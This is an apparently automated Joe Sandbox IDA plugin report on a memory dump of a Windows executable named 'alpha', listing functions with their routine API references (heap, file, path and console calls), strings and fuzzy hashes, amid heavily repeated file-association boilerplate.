Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: KERNEL32.DLL$SetThreadUILanguage
API String ID: 1646373207-2530943252
Opcode ID: 33fd74526e8d725267334377f69302da3f837b9787d184b3d8809460f86dc4c4
Instruction ID: 886155444c70f446a74c6d09214fe5a26b6a8292c11058f439006e3b61b78a7d
Opcode Fuzzy Hash: 33fd74526e8d725267334377f69302da3f837b9787d184b3d8809460f86dc4c4
Instruction Fuzzy Hash: 2901C8A1B0DA06D1EA5CBF25E851134A2A0AF4D771F484736C93EC27F2DEBCA9819700

Function 00007FF64B5873C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF64B5873DF
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF64B5873F5

Strings

kernelbase.dll, xrefs: 00007FF64B5873D5
RaiseFailFastException, xrefs: 00007FF64B5873EE

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: RaiseFailFastException$kernelbase.dll
API String ID: 1646373207-919018592
Opcode ID: 3febe13a05f537dc5e67cec473ac92f04f036d5fc975d7a9241dfcd9d5059c04
Instruction ID: b26996117113f076778bd58b074d6106c17336e6f9344d0c779fd4efc0c8da17
Opcode Fuzzy Hash: 3febe13a05f537dc5e67cec473ac92f04f036d5fc975d7a9241dfcd9d5059c04
Instruction Fuzzy Hash: 6DF0B761A1CB91D2EA08BF12F444069EA60EB8DF90B889535DA5E87B36CF6CD6958700

Function 00007FF64B561130 Relevance: 6.2, APIs: 4, Instructions: 156COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF64B56138B

Part of subcall function 00007FF64B56CA40: memset.MSVCRT ref: 00007FF64B56CAB3

Part of subcall function 00007FF64B561140: towupper.MSVCRT ref: 00007FF64B5611D3

Part of subcall function 00007FF64B57417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF64B5741AD

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B5614A6

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: memset$CurrentDirectorytowupper
String ID:
API String ID: 1403193329-0
Opcode ID: 9eadb3359a7035c4c8b06301bcad4ec111c2959e7ad062144f1a1f931ae642b1
Instruction ID: 5b948392a2fd215b8b9496cbac39085a4720469a6015ec1a1816d0a7c1ccb033
Opcode Fuzzy Hash: 9eadb3359a7035c4c8b06301bcad4ec111c2959e7ad062144f1a1f931ae642b1
Instruction Fuzzy Hash: C3619D32A08B828AE728FF65D8402BDB7A4FB48348F145135DE6D836AADF38D451C700

Function 00007FF64B574878 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

_wcsnicmp.MSVCRT ref: 00007FF64B5748DE
_wcsnicmp.MSVCRT ref: 00007FF64B5748FF
wcschr.MSVCRT ref: 00007FF64B57493E

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: _wcsnicmp$wcschr
String ID:
API String ID: 3270668897-0
Opcode ID: c131fa53280227e888b319e24c815cf36435a05d61152e6198fec243a6d9d163
Instruction ID: e100c90a714fcf47b6fe56778d0b3a977615de46e10dcbbf9218f6822292ea22
Opcode Fuzzy Hash: c131fa53280227e888b319e24c815cf36435a05d61152e6198fec243a6d9d163
Instruction Fuzzy Hash: 6A518A51B0C74281FA69BF15E4101B9E3A5EF4DB80F48D431CA2E876F7EEACE9418350

Function 00007FF64B573060 Relevance: 6.1, APIs: 4, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF64B571EA0: wcschr.MSVCRT ref: 00007FF64B571EB3

SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,00000000,0000000A,00007FF64B5692AC), ref: 00007FF64B5730CA
SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B5730DD
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B5730F6
SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B573106

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: ErrorMode$FullNamePathwcschr
String ID:
API String ID: 1464828906-0
Opcode ID: 4608740039e49971374e978e9372c54a28b1034dfcf154244c984753711d5cb1
Instruction ID: 5121a60534c5088da3f425ffc7bd9783b1c035491c451f9f846efbbc24ff5113
Opcode Fuzzy Hash: 4608740039e49971374e978e9372c54a28b1034dfcf154244c984753711d5cb1
Instruction Fuzzy Hash: 6631D021B0C71A82E628BF15E40047EF761EB4DB90F54C634DA6AC33F2DEBDA8468700

Function 00007FF64B58F358 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF64B58F3B5

Part of subcall function 00007FF64B56CA40: memset.MSVCRT ref: 00007FF64B56CAB3

GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B58F401
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B58F442
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B58F468

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: memset$DriveFullNamePathType
String ID:
API String ID: 3442494845-0
Opcode ID: 96e94011f7e51b9192f665da575d41fb78cf0bd335fa213fa644a3e80f09fdea
Instruction ID: 78de0b59b98a57ed9cfc05a0f9a0eecbe6b0d763b9a601f6e80be3840d7e4492
Opcode Fuzzy Hash: 96e94011f7e51b9192f665da575d41fb78cf0bd335fa213fa644a3e80f09fdea
Instruction Fuzzy Hash: 36318C32619BC5CAEB64EF11E8402E9B3A4FB8CB84F444125DA5D87B65CF38D645C700

Function 00007FF64B578F80 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00007FF64B578FF3
RtlLookupFunctionEntry.NTDLL ref: 00007FF64B579012
RtlVirtualUnwind.NTDLL ref: 00007FF64B57905F
__raise_securityfailure.LIBCMT ref: 00007FF64B579144

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: f9503a7e6f26e693eab0e8ec34dcabcd79a91a5ad0fdcc229cb5dec8ce22a0f7
Instruction ID: cfa12f293f86497b7d0ce65da92497bcf9422f509596eb44e01b0271735e66e7
Opcode Fuzzy Hash: f9503a7e6f26e693eab0e8ec34dcabcd79a91a5ad0fdcc229cb5dec8ce22a0f7
Instruction Fuzzy Hash: 9941D3B5A0CB41D1EA58BF08F980369A3A4FB8C784F504136DAAD827B6EF7CE544D700

Function 00007FF64B578470 Relevance: 6.1, APIs: 4, Instructions: 72stringCOMMON

Download Yara Rule

APIs

wcstol.MSVCRT ref: 00007FF64B57848E
wcstol.MSVCRT ref: 00007FF64B5784A8
lstrcmpW.API-MS-WIN-CORE-STRING-OBSOLETE-L1-1-0 ref: 00007FF64B57853F

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: wcstol$lstrcmp
String ID:
API String ID: 3515581199-0
Opcode ID: 5b9efed5608bd49f2816daba6a3b85e90b3500fb38e55be3423670eddfbfd6ec
Instruction ID: 4d3ecf475a875306e5fc62bb377aad81af42ce388ff10c956add3c9fa5f5293d
Opcode Fuzzy Hash: 5b9efed5608bd49f2816daba6a3b85e90b3500fb38e55be3423670eddfbfd6ec
Instruction Fuzzy Hash: 1121C172B0C642C3E6687F7AE49413AEAA0FF4D794F159034CB6F82676DEACE4448600

Function 00007FF64B564F58 Relevance: 6.1, APIs: 4, Instructions: 72filetimeCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF64B5829C4
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B5829E9
_get_osfhandle.MSVCRT ref: 00007FF64B582A22
SetFileTime.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B582A39

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: File_get_osfhandle$TimeWrite
String ID:
API String ID: 4019809305-0
Opcode ID: 81587e0329514d19275e074575feb35963da2dd15ba7483d0e323a7e2a39d08e
Instruction ID: 6083a5cd3d6902f9a52a75f20508cb0a78bd32e5043c4f03135e5fff570de42f
Opcode Fuzzy Hash: 81587e0329514d19275e074575feb35963da2dd15ba7483d0e323a7e2a39d08e
Instruction Fuzzy Hash: 46316121A1C68687EB987F14E444378FA91AF4EB54F145238D96D83BF7CF7DD8948A00

Function 00007FF64B591914 Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF64B59196F

Part of subcall function 00007FF64B56CA40: memset.MSVCRT ref: 00007FF64B56CAB3

GetVolumePathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B5919B3
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B5919D6
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B591A01

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: memset$DriveNamePathTypeVolume
String ID:
API String ID: 1029679093-0
Opcode ID: d45035a7c6ac09dbba50d0c00beb4f85e1cca4574d2ac4f31282f71e25618f1f
Instruction ID: 2ea6c28de2d308244176cba7066b5bb8fdc11caae7bbcfadf9d531c5519294b5
Opcode Fuzzy Hash: d45035a7c6ac09dbba50d0c00beb4f85e1cca4574d2ac4f31282f71e25618f1f
Instruction Fuzzy Hash: 71315A72709AC1CAEB24AF21D8543E8A7A0FB8DB88F444135CA5D87755DF3CD655C700

Function 00007FF64B58E810 Relevance: 6.1, APIs: 4, Instructions: 67fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF64B58E836
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B58E855
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B58E877
DeleteFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B58E8AE

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: File$DeleteErrorLastWrite_get_osfhandle
String ID:
API String ID: 2448200120-0
Opcode ID: 8b4da8a10e097a17451e285642832c13025bfbcfcba5fc9726ddc1af043f7f21
Instruction ID: 2932bc57e44498076e95111d923c14ceea99f3b289695ac3a489c186c03eba85
Opcode Fuzzy Hash: 8b4da8a10e097a17451e285642832c13025bfbcfcba5fc9726ddc1af043f7f21
Instruction Fuzzy Hash: D1211A31A1CA46CBE6587F11E80027DF6A1EB8DB81F544539DA6E977A6CF3CE4528A00

Function 00007FF64B577CF8 Relevance: 6.1, APIs: 4, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B577D54
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B577D68

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 42f91e47f3ef5671c9468e2150952d512ccb49b47a4aa8ec2999c576e9d14cb8
Instruction ID: 607175b9ee96f088fde5204cf0bb133fa0feda4842628f1e86e4902f0e1cf2bb
Opcode Fuzzy Hash: 42f91e47f3ef5671c9468e2150952d512ccb49b47a4aa8ec2999c576e9d14cb8
Instruction Fuzzy Hash: 86213D61B0DA41C6EA08BF55E910479E7A1EB8DBD0F589230DA2E877B6DE7CE4058600

Function 00007FF64B566A48 Relevance: 6.1, APIs: 4, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF64B573C24: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF64B573D0C
Part of subcall function 00007FF64B573C24: towupper.MSVCRT ref: 00007FF64B573D2F
Part of subcall function 00007FF64B573C24: iswalpha.MSVCRT ref: 00007FF64B573D4F
Part of subcall function 00007FF64B573C24: towupper.MSVCRT ref: 00007FF64B573D75
Part of subcall function 00007FF64B573C24: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B573DBF

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF64B58EA0F,?,?,?,00007FF64B58E925,?,?,?,?,00007FF64B56B9B1), ref: 00007FF64B566ABF
RtlFreeHeap.NTDLL(?,?,?,00007FF64B58EA0F,?,?,?,00007FF64B58E925,?,?,?,?,00007FF64B56B9B1), ref: 00007FF64B566AD3

Part of subcall function 00007FF64B566B84: SetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,00007FF64B566AE8,?,?,?,00007FF64B58EA0F,?,?,?,00007FF64B58E925), ref: 00007FF64B566B8B
Part of subcall function 00007FF64B566B84: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,00007FF64B566AE8,?,?,?,00007FF64B58EA0F,?,?,?,00007FF64B58E925), ref: 00007FF64B566B97
Part of subcall function 00007FF64B566B84: RtlFreeHeap.NTDLL(?,?,?,?,00007FF64B566AE8,?,?,?,00007FF64B58EA0F,?,?,?,00007FF64B58E925), ref: 00007FF64B566BAF

Part of subcall function 00007FF64B566B30: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF64B566AF1,?,?,?,00007FF64B58EA0F,?,?,?,00007FF64B58E925), ref: 00007FF64B566B39
Part of subcall function 00007FF64B566B30: RtlFreeHeap.NTDLL(?,?,?,00007FF64B566AF1,?,?,?,00007FF64B58EA0F,?,?,?,00007FF64B58E925), ref: 00007FF64B566B4D
Part of subcall function 00007FF64B566B30: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF64B566AF1,?,?,?,00007FF64B58EA0F,?,?,?,00007FF64B58E925), ref: 00007FF64B566B59

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF64B58EA0F,?,?,?,00007FF64B58E925,?,?,?,?,00007FF64B56B9B1), ref: 00007FF64B566B03
RtlFreeHeap.NTDLL(?,?,?,00007FF64B58EA0F,?,?,?,00007FF64B58E925,?,?,?,?,00007FF64B56B9B1), ref: 00007FF64B566B17

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Heap$Process$Free$towupper$CurrentDirectoryEnvironmentFullNamePathStringsiswalpha
String ID:
API String ID: 3512109576-0
Opcode ID: 382550a8889551dd1746f9e05062d813c656d27a38cd142319c153c86f485295
Instruction ID: a168f4e345bd44f8360438def0dd496e93eddb39a3ad319ac62caadf2f10a295
Opcode Fuzzy Hash: 382550a8889551dd1746f9e05062d813c656d27a38cd142319c153c86f485295
Instruction Fuzzy Hash: 0E213E62A1DA86C6EB08BF65D4142B8BBA0EF5DB45F149035CA2E87376DF2CA445C350

Function 00007FF64B56B6B0 Relevance: 6.1, APIs: 4, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF64B56AF82), ref: 00007FF64B56B6D0
HeapReAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF64B56AF82), ref: 00007FF64B56B6E7
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF64B56AF82), ref: 00007FF64B56B701
HeapSize.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF64B56AF82), ref: 00007FF64B56B715

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Heap$Process$AllocSize
String ID:
API String ID: 2549470565-0
Opcode ID: 11430d80cb485e7b9ceb592bfe559dc550d55c3bb95ca86021ccd698df5acc4f
Instruction ID: 1fb132f81fb6ff4cc290d04afb98bc9060544de4570a06264b975538d8eae7f4
Opcode Fuzzy Hash: 11430d80cb485e7b9ceb592bfe559dc550d55c3bb95ca86021ccd698df5acc4f
Instruction Fuzzy Hash: F9213062A0D686C6EE1CBF15E44107CF6A1FB8CB80B48A431DA6E83772DF7CE5458700

Function 00007FF64B58CFF0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF64B57507A), ref: 00007FF64B58D01C
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF64B57507A), ref: 00007FF64B58D033
FillConsoleOutputAttribute.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF64B57507A), ref: 00007FF64B58D06D
SetConsoleTextAttribute.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00007FF64B57507A), ref: 00007FF64B58D07F

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Console$Attribute$BufferFillHandleInfoOutputScreenText
String ID:
API String ID: 1033415088-0
Opcode ID: 45059cb2ee047cb232d20320cf03883d9ebc73042b8c9a2b0d276472751f5675
Instruction ID: 66be31c84d7d3fbc2885ce01fd38e76b6e2fe21fb8add5cfbb28073cb071bd91
Opcode Fuzzy Hash: 45059cb2ee047cb232d20320cf03883d9ebc73042b8c9a2b0d276472751f5675
Instruction Fuzzy Hash: AE11513161C642C7D6486B11F45517AF7E0FB8EB95F405125EA9E87BA5DF3CD0458B00

Function 00007FF64B585690 Relevance: 6.0, APIs: 4, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000028,00007FF64B585433,?,?,?,00007FF64B5869B8,?,?,?,?,?,00007FF64B578C39), ref: 00007FF64B5856C5
RtlFreeHeap.NTDLL(?,?,00000028,00007FF64B585433,?,?,?,00007FF64B5869B8,?,?,?,?,?,00007FF64B578C39), ref: 00007FF64B5856D9
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000028,00007FF64B585433,?,?,?,00007FF64B5869B8,?,?,?,?,?,00007FF64B578C39), ref: 00007FF64B5856FD
RtlFreeHeap.NTDLL(?,?,00000028,00007FF64B585433,?,?,?,00007FF64B5869B8,?,?,?,?,?,00007FF64B578C39), ref: 00007FF64B585711

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

